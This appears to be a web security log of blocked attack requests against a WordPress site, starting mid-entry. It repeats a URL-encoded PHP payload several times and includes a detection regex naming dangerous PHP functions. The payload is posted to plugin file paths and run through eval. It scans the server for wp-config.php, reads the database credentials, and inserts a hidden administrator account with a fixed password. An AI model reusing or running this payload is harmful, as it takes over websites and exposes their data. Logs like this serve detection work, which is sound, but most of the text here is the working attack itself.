in%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:12663\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-ch-ua-platform:\"macOS\"\n\nQlAazG=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-18 11:41:33","54.39.17.116","POST","\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> xN:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20